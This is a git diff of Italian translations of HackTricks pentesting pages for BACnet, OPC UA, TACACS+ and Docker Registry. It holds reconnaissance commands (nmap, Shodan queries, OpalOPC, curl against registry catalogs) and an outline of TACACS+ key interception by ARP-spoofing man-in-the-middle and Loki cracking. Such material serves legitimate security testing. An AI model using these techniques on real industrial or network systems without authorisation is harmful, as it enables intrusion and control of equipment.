**BACnet** è un **protocollo di comunicazione** per reti di Automazione e Controllo degli Edifici (BAC) che sfrutta il protocollo standard **ASHRAE**, **ANSI** e **ISO 16484-5**. Facilita la comunicazione tra sistemi di automazione e controllo degli edifici, consentendo a applicazioni come il controllo HVAC, il controllo dell'illuminazione, il controllo degli accessi e i sistemi di rilevamento incendi di scambiare informazioni. BACnet garantisce l'interoperabilità e consente ai dispositivi di automazione degli edifici computerizzati di comunicare, indipendentemente dai servizi specifici che forniscono.
|
||||||
|
|
||||||
**Porta predefinita:** 47808
|
**Porta predefinita:** 47808
|
||||||
```text
|
```text
|
||||||
|
@ -50,25 +51,26 @@ print(f"Version: {readDevice[2]}")
|
||||||
```bash
|
```bash
|
||||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||||
```
|
```
|
||||||
Questo script non cerca di unirsi a una rete BACnet come dispositivo esterno, ma invia semplicemente richieste BACnet direttamente a un dispositivo indirizzabile tramite IP.
|
Questo script non tenta di unirsi a una rete BACnet come dispositivo esterno, ma invia semplicemente richieste BACnet direttamente a un dispositivo indirizzabile IP.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `port:47808 instance`
|
* `port:47808 instance`
|
||||||
* `"ID istanza" "Nome del produttore"`
|
* `"Instance ID" "Vendor Name"`
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# 4840 - Pentesting OPC UA
|
# 4840 - Pentesting OPC UA
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
**OPC UA**, che sta per **Open Platform Communications Unified Access**, è un cruciale protocollo open-source utilizzato in vari settori come Manifatturiero, Energia, Aerospaziale e Difesa per lo scambio di dati e il controllo degli equipaggiamenti. Consente in modo unico a diversi equipaggiamenti di fornitori di comunicare, specialmente con i PLC.
|
**OPC UA**, che sta per **Open Platform Communications Unified Access**, è un protocollo open-source cruciale utilizzato in vari settori come Manifattura, Energia, Aerospaziale e Difesa per lo scambio di dati e il controllo delle attrezzature. Consente in modo unico la comunicazione tra le attrezzature di diversi fornitori, specialmente con i PLC.
|
||||||
|
|
||||||
La sua configurazione consente l'implementazione di robuste misure di sicurezza, ma spesso, per la compatibilità con dispositivi più vecchi, queste vengono ridotte, esponendo i sistemi a rischi. Inoltre, trovare servizi OPC UA può essere complicato poiché gli scanner di rete potrebbero non rilevarli se si trovano su porte non standard.
|
La sua configurazione consente misure di sicurezza robuste, ma spesso, per compatibilità con dispositivi più vecchi, queste vengono ridotte, esponendo i sistemi a rischi. Inoltre, trovare i servizi OPC UA può essere complicato poiché gli scanner di rete potrebbero non rilevarli se si trovano su porte non standard.
|
||||||
|
|
||||||
**Porta predefinita:** 4840
|
**Porta predefinita:** 4840
|
||||||
```text
|
```text
|
||||||
|
@ -27,15 +28,15 @@ PORT STATE SERVICE REASON
|
||||||
```
|
```
|
||||||
## Pentesting OPC UA
|
## Pentesting OPC UA
|
||||||
|
|
||||||
Per rivelare problemi di sicurezza nei server OPC UA, esegui una scansione con [OpalOPC](https://opalopc.com/).
|
Per rivelare problemi di sicurezza nei server OPC UA, scansionarlo con [OpalOPC](https://opalopc.com/).
|
||||||
```bash
|
```bash
|
||||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||||
```
|
```
|
||||||
### Sfruttare le vulnerabilità
|
### Sfruttare le vulnerabilità
|
||||||
|
|
||||||
Se vengono trovate vulnerabilità di bypass dell'autenticazione, è possibile configurare un [client OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) di conseguenza e vedere a cosa si può accedere. Ciò potrebbe consentire di leggere semplicemente i valori di processo o addirittura di operare attrezzature industriali pesanti.
|
Se vengono trovate vulnerabilità di bypass dell'autenticazione, puoi configurare un [client OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) di conseguenza e vedere a cosa puoi accedere. Questo può consentire di tutto, dalla semplice lettura dei valori di processo all'effettivo funzionamento di attrezzature industriali pesanti.
|
||||||
|
|
||||||
Per avere un'idea del dispositivo a cui si ha accesso, leggere i valori del nodo "ServerStatus" nello spazio degli indirizzi e cercare un manuale di utilizzo su Google.
|
Per avere un'idea del dispositivo a cui hai accesso, leggi i valori del nodo "ServerStatus" nello spazio degli indirizzi e cerca un manuale d'uso su Google.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
|
@ -45,16 +46,17 @@ Per avere un'idea del dispositivo a cui si ha accesso, leggere i valori del nodo
|
||||||
|
|
||||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository GitHub.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,19 @@
|
||||||
# 49 - Test di penetrazione TACACS+
|
# 49 - Pentesting TACACS+
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
@ -24,33 +25,33 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
Il protocollo **Terminal Access Controller Access Control System (TACACS)** viene utilizzato per convalidare centralmente gli utenti che cercano di accedere a router o Server di Accesso alla Rete (NAS). La sua versione aggiornata, **TACACS+**, separa i servizi in autenticazione, autorizzazione e contabilità (AAA).
|
Il protocollo **Terminal Access Controller Access Control System (TACACS)** viene utilizzato per convalidare centralmente gli utenti che tentano di accedere a router o Network Access Servers (NAS). La sua versione aggiornata, **TACACS+**, separa i servizi in autenticazione, autorizzazione e contabilizzazione (AAA).
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
49/tcp open tacacs
|
49/tcp open tacacs
|
||||||
```
|
```
|
||||||
**Porta predefinita:** 49
|
**Porta predefinita:** 49
|
||||||
|
|
||||||
## Intercepimento della chiave di autenticazione
|
## Intercettare la Chiave di Autenticazione
|
||||||
|
|
||||||
Se la comunicazione tra il client e il server TACACS viene intercettata da un attaccante, la **chiave di autenticazione crittografata può essere intercettata**. L'attaccante può quindi tentare un **attacco di forza bruta locale contro la chiave senza essere rilevato nei log**. Se avviene con successo il cracking della chiave, l'attaccante ottiene accesso all'attrezzatura di rete e può decrittare il traffico utilizzando strumenti come Wireshark.
|
Se la comunicazione tra il client e il server TACACS viene intercettata da un attaccante, **la chiave di autenticazione crittografata può essere intercettata**. L'attaccante può quindi tentare un **attacco di forza bruta locale contro la chiave senza essere rilevato nei log**. Se ha successo nel forzare la chiave, l'attaccante ottiene accesso all'equipaggiamento di rete e può decrittografare il traffico utilizzando strumenti come Wireshark.
|
||||||
|
|
||||||
### Esecuzione di un attacco MitM
|
### Eseguire un Attacco MitM
|
||||||
|
|
||||||
Un attacco di **ARP spoofing può essere utilizzato per eseguire un attacco Man-in-the-Middle (MitM)**.
|
Un **attacco di spoofing ARP può essere utilizzato per eseguire un attacco Man-in-the-Middle (MitM)**.
|
||||||
|
|
||||||
### Cracking della chiave
|
### Forzare la Chiave
|
||||||
|
|
||||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) può essere utilizzato per effettuare il cracking della chiave:
|
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) può essere utilizzato per forzare la chiave:
|
||||||
```
|
```
|
||||||
sudo loki_gtk.py
|
sudo loki_gtk.py
|
||||||
```
|
```
|
||||||
Se la chiave viene **forzata con successo** (**di solito in formato crittografato MD5)**, **possiamo accedere all'attrezzatura e decrittare il traffico criptato TACACS.**
|
Se la chiave viene **bruteforced** con successo (**di solito in formato crittografato MD5**), **possiamo accedere all'attrezzatura e decrittografare il traffico crittografato TACACS.**
|
||||||
|
|
||||||
### Decrittare il Traffico
|
### Decrittografia del Traffico
|
||||||
Una volta che la chiave viene craccata con successo, il passo successivo è **decrittare il traffico criptato TACACS**. Wireshark può gestire il traffico TACACS criptato se la chiave è fornita. Analizzando il traffico decrittato, è possibile ottenere informazioni come il **banner utilizzato e il nome utente dell'utente admin**.
|
Una volta che la chiave è stata decifrata con successo, il passo successivo è **decrittografare il traffico crittografato TACACS**. Wireshark può gestire il traffico TACACS crittografato se la chiave è fornita. Analizzando il traffico decrittografato, è possibile ottenere informazioni come il **banner utilizzato e il nome utente dell'admin**.
|
||||||
|
|
||||||
Ottenendo l'accesso al pannello di controllo dell'attrezzatura di rete utilizzando le credenziali ottenute, l'attaccante può esercitare il controllo sulla rete. È importante notare che queste azioni sono strettamente a scopo educativo e non dovrebbero essere utilizzate senza autorizzazione adeguata.
|
Accedendo al pannello di controllo dell'attrezzatura di rete utilizzando le credenziali ottenute, l'attaccante può esercitare il controllo sulla rete. È importante notare che queste azioni sono strettamente a scopo educativo e non dovrebbero essere utilizzate senza una corretta autorizzazione.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
|
||||||
|
@ -62,16 +63,17 @@ Ottenendo l'accesso al pannello di controllo dell'attrezzatura di rete utilizzan
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,51 +1,46 @@
|
||||||
# 5000 - Pentesting Docker Registry
|
# 5000 - Pentesting Docker Registry
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di Base
|
## Informazioni di base
|
||||||
|
|
||||||
Un sistema di archiviazione e distribuzione noto come **registro Docker** è in atto per le immagini Docker che sono nominate e possono essere presenti in più versioni, distinte dai tag. Queste immagini sono organizzate all'interno dei **repository Docker** nel registro, ciascun repository memorizza varie versioni di un'immagine specifica. La funzionalità fornita consente di scaricare le immagini localmente o caricarle nel registro, a condizione che l'utente abbia le autorizzazioni necessarie.
|
Un sistema di archiviazione e distribuzione noto come **Docker registry** è in atto per le immagini Docker che sono nominate e possono avere più versioni, distinte da tag. Queste immagini sono organizzate all'interno di **Docker repositories** nel registry, ciascun repository memorizzando varie versioni di una specifica immagine. La funzionalità fornita consente di scaricare immagini localmente o caricarle nel registry, a condizione che l'utente abbia le autorizzazioni necessarie.
|
||||||
|
|
||||||
**DockerHub** funge da registro pubblico predefinito per Docker, ma gli utenti hanno anche l'opzione di utilizzare una versione on-premise del registro/distribuzione Docker open-source o optare per il **Docker Trusted Registry** supportato commercialmente. Inoltre, sono disponibili vari altri registri pubblici online.
|
**DockerHub** funge da registry pubblico predefinito per Docker, ma gli utenti hanno anche la possibilità di gestire una versione on-premise del registry/distribuzione open-source di Docker o optare per il **Docker Trusted Registry** supportato commercialmente. Inoltre, possono essere trovati online vari altri registry pubblici.
|
||||||
|
|
||||||
Per scaricare un'immagine da un registro on-premise, viene utilizzato il seguente comando:
|
|
||||||
|
|
||||||
|
Per scaricare un'immagine da un registry on-premise, viene utilizzato il seguente comando:
|
||||||
```bash
|
```bash
|
||||||
docker pull my-registry:9000/foo/bar:2.1
|
docker pull my-registry:9000/foo/bar:2.1
|
||||||
```
|
```
|
||||||
|
Questo comando recupera l'immagine `foo/bar` versione `2.1` dal registro on-premise nel dominio `my-registry` sulla porta `9000`. Al contrario, per scaricare la stessa immagine da DockerHub, in particolare se `2.1` è l'ultima versione, il comando si semplifica a:
|
||||||
Questo comando recupera l'immagine `foo/bar` nella versione `2.1` dal registro on-premise nel dominio `my-registry` sulla porta `9000`. Al contrario, per scaricare la stessa immagine da DockerHub, specialmente se `2.1` è l'ultima versione, il comando si semplifica in:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull foo/bar
|
docker pull foo/bar
|
||||||
```
|
```
|
||||||
|
|
||||||
**Porta predefinita:** 5000
|
**Porta predefinita:** 5000
|
||||||
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5000/tcp open http Docker Registry (API: 2.0)
|
5000/tcp open http Docker Registry (API: 2.0)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Scoperta
|
## Scoperta
|
||||||
|
|
||||||
Il modo più semplice per scoprire che questo servizio è in esecuzione è ottenerlo sull'output di nmap. Tuttavia, nota che essendo un servizio basato su HTTP potrebbe essere dietro a proxy HTTP e nmap potrebbe non rilevarlo.\
|
Il modo più semplice per scoprire questo servizio in esecuzione è ottenerlo nell'output di nmap. Comunque, nota che essendo un servizio basato su HTTP, potrebbe essere dietro proxy HTTP e nmap non lo rileverà.\
|
||||||
Alcune impronte:
|
Alcuni fingerprint:
|
||||||
|
|
||||||
* Se accedi a `/` non viene restituito nulla nella risposta
|
* Se accedi a `/` nulla viene restituito nella risposta
|
||||||
* Se accedi a `/v2/` viene restituito `{}`
|
* Se accedi a `/v2/` allora `{}` viene restituito
|
||||||
* Se accedi a `/v2/_catalog` potresti ottenere:
|
* Se accedi a `/v2/_catalog` potresti ottenere:
|
||||||
* `{"repositories":["alpine","ubuntu"]}`
|
* `{"repositories":["alpine","ubuntu"]}`
|
||||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||||
|
@ -54,8 +49,7 @@ Alcune impronte:
|
||||||
|
|
||||||
### HTTP/HTTPS
|
### HTTP/HTTPS
|
||||||
|
|
||||||
Il registro Docker potrebbe essere configurato per utilizzare **HTTP** o **HTTPS**. Quindi la prima cosa che potresti dover fare è **scoprire quale** è stato configurato:
|
Il registro Docker può essere configurato per utilizzare **HTTP** o **HTTPS**. Quindi la prima cosa che potresti dover fare è **scoprire quale** è configurato:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
#If HTTPS
|
#If HTTPS
|
||||||
|
@ -66,11 +60,9 @@ Warning: <FILE>" to save to a file.
|
||||||
#If HTTP
|
#If HTTP
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
### Authentication
|
||||||
|
|
||||||
### Autenticazione
|
Il registro Docker può anche essere configurato per richiedere **authentication**:
|
||||||
|
|
||||||
Il registro Docker potrebbe essere configurato per richiedere **autenticazione**:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If Authentication required
|
#If Authentication required
|
||||||
|
@ -78,18 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If no authentication required
|
#If no authentication required
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
Se il Docker Registry richiede autenticazione, puoi [**provare a forzarlo utilizzando questo**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||||
Se il Docker Registry richiede l'autenticazione, puoi [**provare a forzarla usando questo**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
